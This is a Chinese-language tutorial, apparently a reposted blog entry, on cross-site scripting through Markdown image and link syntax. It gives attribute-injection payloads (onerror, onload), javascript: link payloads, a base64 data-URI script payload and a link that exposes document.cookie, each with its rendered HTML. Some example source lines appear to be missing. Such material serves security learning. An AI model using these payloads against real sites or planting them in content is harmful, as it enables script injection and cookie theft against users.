xss 之 Markdown
markdown是一種輕量級標記語言,通過簡單語法,可以使文本具有一定格式,最常見于GitHub上readme檔案,現這種語言已被廣泛使用.
Markdown語法中易于攻擊的兩種
-
圖片
-
鏈接
1 markdown插入圖片
1.1
markdown語法:

使用實體:

格式化后:
<p><img src="https://img-pre.ivsky.com/img/tupian/pre/202103/29/haimian-019.jpg" alt="RUNOOB 圖示"></p>
1.2
可以嘗試通過閉合雙引號形成xss
")
格式化后:
<img src="" one rror="alert('xss')" alt="RUNOOB 圖示">
當JavaScript代碼直接放置在src或alt屬性中時,因為src值為空,因此加載影像將導致代碼執行錯誤,之后執行onerror的陳述句,形成xss
相同思路,也可以添加onload屬性
也可以嘗試將[]中的內容逃逸,[]中的內容格式化后出現在alt后

故可以:

結果如下:
<p><img src="https://img-pre.ivsky.com/img/tupian/pre/202103/29/haimian-019.jpg" alt="RUNOOB 圖示" onl oad=alert(1)"></p>
可以發現這里出現了字符轉義,所以逃逸沒有成功,但是可以作為一種攻擊的思路
2 markdown也可以實作鏈接
2.1
markdown語法:
[鏈接名稱](鏈接地址)
or
<鏈接地址>
使用實體:
[baidu](https://baidu.com)
or
<https://baidu.com>
格式化后:
<p><a href="https://baidu.com">baidu</a>
or
<a href="https://baidu.com">https://baidu.com</a></p>
2.2
如果我們改變()中的內容
例如:
[baidu](javascript:alert(1))
格式化后:
<a href="javascript:alert(1);">baidu</a>
但是這只是理想中的格式化后結果,但是實際結果會是:
<a href="javascript:alert(1">baidu</a>)
就如以下兩個陳述句:
[baidu](javascript:alert(1))
[baidu](javascript:alert(1))

結果:

3 實作方式
js警報
代碼:
[a](javascript:alert(1))
[a](Javascript:alert(1))
格式化:
<a href="javascript:alert(1)">a</a>
<a href="javascript:alert(1)">a</a>
結果:

js提示
代碼:
[a](javascript:prompt(document.domain))
格式化:
<a href="javascript:prompt(document.domain)">a</a>
結果:

base64轉換
代碼:
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
格式化:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">a</a>
結果:

錯誤事件處理
代碼:
[a](javascript:window.onerror=confirm;throw%20document.cookie)
格式化后:
<a href="javascript:window.onerror=confirm;throw%20document.cookie" >a</a>
結果:

4 總結
- 有的cookie設定了httponly,無法用javascript獲取
- 現今諸多網站都會有過濾,HTML白名單,所以限制其實很大
- 盡管xss-markdown限制很多,但是也還是可以作為一種攻擊手段
資料參考:
https://cloud.tencent.com/developer/article/1521343
http://www.52bug.cn/hkjs/3292.html
http://kejyun.github.io/website-security-learning-notes/xss/markdown/xss-markdown-link-attack.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/335148.html
標籤:其他
